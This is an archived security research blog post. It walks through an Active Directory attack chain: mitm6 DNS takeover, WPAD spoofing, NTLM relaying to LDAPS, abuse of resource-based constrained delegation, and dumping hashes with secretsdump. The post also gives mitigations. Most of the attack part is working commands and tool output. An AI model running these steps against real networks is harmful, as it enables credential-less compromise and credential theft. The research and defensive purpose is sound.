# The worst of both worlds: Combining NTLM Relaying and Kerberos delegation

Published: 2019-03-04 · Archived: 2026-04-05 16:55:03 UTC

After my in-depth post last month about unconstrained delegation, this post will discuss a different type of Kerberos delegation: resource-based constrained delegation. The content in this post is based on Elad Shamir's Kerberos research and combined with my own NTLM research to present an attack that can get **code execution as SYSTEM** on any Windows computer in Active Directory **without any credentials**, if you are in the same network segment. This is another example of insecure Active Directory default abuse, and not any kind of new exploit.

## Attack TL;DR

If an attacker is on the local network, either physically (via a drop device) or via an infected workstation, it is possible to perform a DNS takeover using mitm6, provided IPv6 is not already in use in the network. When this attack is performed, it is also possible to make computer accounts and users authenticate to us over HTTP by spoofing the `WPAD` location and requesting authentication to use our rogue proxy. This attack is described in detail in my blog post on this subject from last year.

We can relay this NTLM authentication to LDAP (unless mitigations are applied) with ntlmrelayx and authenticate as the victim computer account. Computer accounts can modify some of their own properties via LDAP, which includes the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute. This attribute controls which users can authenticate to the computer **as almost any account in AD** via impersonation using Kerberos. This concept is called Resource-Based constrained delegation, and is described in detail by Elad Shamir and harmj0y. Because of this, when we relay the computer account, we can modify the account in Active Directory and give ourselves permission to impersonate users on that computer. We can then connect to the computer with a high-privilege user and execute code, dump hashes, etc. The beauty of this attack is that it works by default and does not require any AD credentials to perform.

## No credentials, no problem

If you've already read the blog of Elad, you may have noticed that control over a computer account (or any other account with a Service Principal Name) is required to perform the S4U2Proxy attack. By default, any user in Active Directory can create up to 10 computer accounts. Interesting enough, this is not limited to user accounts, but can be done by existing computer accounts as well! If we can get any user or computer to connect to our NTLM relay, we can create a computer account with ntlmrelayx:

```
dirkjan@ubuntu:~/impacket-py3$ ntlmrelayx.py -t ldaps://icorp-dc.internal.corp --add-computer
Impacket v0.9.19-dev - Copyright 2019 SecureAuth Corporation

[*] Servers started, waiting for connections
[*] Setting up HTTP Server
[*] HTTPD: Received connection from 192.168.111.73, attacking target ldaps://icorp-dc.internal.corp
[*] HTTPD: Client requested path: /
[*] HTTPD: Received connection from 192.168.111.73, attacking target ldaps://icorp-dc.internal.corp
[*] HTTPD: Client requested path: /
[*] HTTPD: Client requested path: /
[*] Authenticating against ldaps://icorp-dc.internal.corp as ICORP\ICORP-W10$ SUCCEED
[*] Enumerating relayed user's privileges. This may take a while on large domains
[*] Attempting to create computer in: CN=Computers,DC=internal,DC=corp
[*] Adding new computer with username: GTIJUZEC$ and password: H-(oB>w59"h4Zy} result: OK
```

It is required here to relay to LDAP over TLS because creating accounts is not allowed over an unencrypted connection. These computer account credentials can be used for all kinds of things in AD, such as querying domain information or even running BloodHound:

```
dirkjan@ubuntu:~/BloodHound.py$ python bloodhound.py -d internal.corp -u GTIJUZEC\$ -p 'H-(oB>w59"h4Zy}'
INFO: Found AD domain: internal.corp
INFO: Connecting to LDAP server: ICORP-DC.internal.corp
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 5 computers
INFO: Connecting to LDAP server: ICORP-DC.internal.corp
INFO: Found 29 users
INFO: Found 68 groups
```

## Relaying and configuring delegation

Let's run the full attack. First we start `mitm6` to take over the DNS on our target, in this case `ICORP-W10` (a fully patched default Windows 10 installation), I'm limiting the attack to just this host here:

```
sudo mitm6 -hw icorp-w10 -d internal.corp --ignore-nofqnd
```

Now it might take a while before the host requests an IPv6 address via DHCPv6, or starts requesting a `WPAD` configuration. Your best chances are when the victim reboots or re-plugs their network cable, so if you're on a long term assignment, early mornings are probably the best time to perform this attack. In either case you'll have to be patient (or just attack more hosts, but that's also less quiet). In the meantime, we also start ntlmrelayx using the `--delegate-access` argument to enable the delegation attack and with the `-wh attacker-wpad` argument to enable `WPAD` spoofing and authentication requests:

```
ntlmrelayx.py -t ldaps://icorp-dc.internal.corp -wh attacker-wpad --delegate-access
```

After a while `mitm6` should show our victim connecting to us as DNS server for the WPAD host we set:

```
dirkjan@ubuntu:~/mitm6$ sudo mitm6 -hw icorp-w10 -d internal.corp --ignore-nofqnd
Starting mitm6 using the following configuration:
Primary adapter: eth0 [00:0c:29:66:b9:7e]
IPv4 address: 192.168.111.87
IPv6 address: fe80::d02:76b3:7c7a:ffa7
DNS local search domain: internal.corp
DNS whitelist: internal.corp
Hostname whitelist: icorp-w10
IPv6 address fe80::192:168:111:73 is now assigned to mac=00:0c:29:89:97:db host=ICORP-W10.
Renew reply sent to fe80::192:168:111:73
Sent spoofed reply for wpad.internal.corp. to fe80::192:168:111:73
Sent spoofed reply for wpad.internal.corp. to fe80::192:168:111:73
Sent spoofed reply for attacker-wpad.internal.corp. to fe80::192:168:111:73
```

And we see ntlmrelayx receiving the connection, creating a new computer account and granting it delegation rights to the victim computer:

```
dirkjan@ubuntu:~$ ntlmrelayx.py -t ldaps://icorp-dc.internal.corp -wh attacker-wpad --delegate-access
Impacket v0.9.19-dev - Copyright 2019 SecureAuth Corporation

[shortened for readability]
[*] Setting up SMB Server
[*] Servers started, waiting for connections
[*] Setting up HTTP Server
[*] HTTPD: Received connection from 192.168.111.73, attacking target ldaps://icorp-dc.internal.corp
[*] HTTPD: Client requested path: /wpad.dat
[*] HTTPD: Serving PAC file to client 192.168.111.73
[*] HTTPD: Received connection from 192.168.111.73, attacking target ldaps://icorp-dc.internal.corp
[*] HTTPD: Client requested path: http://www.msftconnecttest.com/connecttest.txt
[*] HTTPD: Client requested path: http://ipv6.msftconnecttest.com/connecttest.txt
[*] Authenticating against ldaps://icorp-dc.internal.corp as ICORP\ICORP-W10$ SUCCEED
[*] Enumerating relayed user's privileges. This may take a while on large domains
[*] Authenticating against ldaps://icorp-dc.internal.corp as ICORP\ICORP-W10$ SUCCEED
[*] Enumerating relayed user's privileges. This may take a while on large domains
[*] Attempting to create computer in: CN=Computers,DC=internal,DC=corp
[*] Adding new computer with username: RRDSUQJK$ and password: ug}~Qm?#<aOAl_$ result: OK
[*] Delegation rights modified succesfully!
[*] RRDSUQJK$ can now impersonate users on ICORP-W10$ via S4U2Proxy
```

Next we can use `getST.py` from [impacket](), which will do all the S4U2Self an S4U2Proxy magic for us. You will need the latest version of [impacket from git]() to include resource based delegation support. In this example we will be impersonating the user `admin`, which is a member of the `Domain Admins` group and thus has administrative access on `ICORP-W10`:

```
dirkjan@ubuntu:~$ getST.py -spn cifs/icorp-w10.internal.corp internal.corp/RRDSUQJK\$ -impersonate admin
Impacket v0.9.19-dev - Copyright 2019 SecureAuth Corporation

Password:
[*] Getting TGT for user
[*] Impersonating admin
[*]     Requesting S4U2self
[*]     Requesting S4U2Proxy
[*] Saving ticket in admin.ccache
```

We obtained a Kerberos Service Ticket now for the user `admin`, which is valid for `cifs/icorp-w10.internal.corp`. This only lets us impersonate this user to this specific host, not to other hosts in the network. With this ticket we can do whatever we want on the target host, for example dumping hashes with secretsdump:

```
dirkjan@ubuntu:~$ export KRB5CCNAME=admin.ccache
dirkjan@ubuntu:~$ secretsdump.py -k -no-pass icorp-w10.internal.corp
Impacket v0.9.19-dev - Copyright 2019 SecureAuth Corporation

[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x38f3153a77837cf2c5d04b049727a771
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
```

The attacker now has full control over the victim workstation.

## Other abuse avenues

This blog highlights the use of mitm6 and WPAD to perform the relay attack entirely without credentials. Any connection over HTTP to a host that is considered part of the `Intranet Zone` by Windows can be used in an identical matter (provided automatic intranet detection is enabled). Elad's original blog described using WebDAV to exploit this on hosts. Another attack avenue is (again) PrivExchange, which makes Exchange authenticate as SYSTEM unless the latest patches are installed.

The updated version of ntlmrelayx is available in a branch on my fork of impacket. I'll update the post once this branch gets merged into the main repository.

## Mitigations

As this attack consists of several components, there are several mitigations that apply to it.

### Mitigating mitm6

mitm6 abuses the fact that Windows queries for an IPv6 address even in IPv4-only environments. If you don't use IPv6 internally, the safest way to prevent mitm6 is to block DHCPv6 traffic and incoming router advertisements in Windows Firewall via Group Policy. Disabling IPv6 entirely may have unwanted side effects. Setting the following predefined rules to Block instead of Allow prevents the attack from working:

- *(Inbound) Core Networking - Dynamic Host Configuration Protocol for IPv6(DHCPV6-In)*
- *(Inbound) Core Networking - Router Advertisement (ICMPv6-In)*
- *(Outbound) Core Networking - Dynamic Host Configuration Protocol for IPv6(DHCPV6-Out)*

### Mitigating WPAD abuse

If WPAD is not in use internally, disable it via Group Policy and by disabling the `WinHttpAutoProxySvc` service. Further mitigation and detection measures are discussed in the original mitm6 blog.

### Mitigating relaying to LDAP

Relaying to LDAP and LDAPS can only be mitigated by enabling both LDAP signing and LDAP channel binding.

### Mitigating resource based delegation abuse

This is hard to mitigate as it is a legitimate Kerberos concept. The attack surface can be reduced by adding Administrative users to the `Protected Users` group or marking them as `Account is sensitive and cannot be delegated`, which will prevent any impersonation of that user via delegation. Further mitigations and detection methods are available here.

## Credits

- @Elad_Shamir and @3xocyte for the original research and relay POC
- @agsolino for building and maintaining impacket and implementing all the cool Kerberos stuff
- @gentilkiwi for Kekeo and @harmj0y for Rubeus and their Kerberos research

---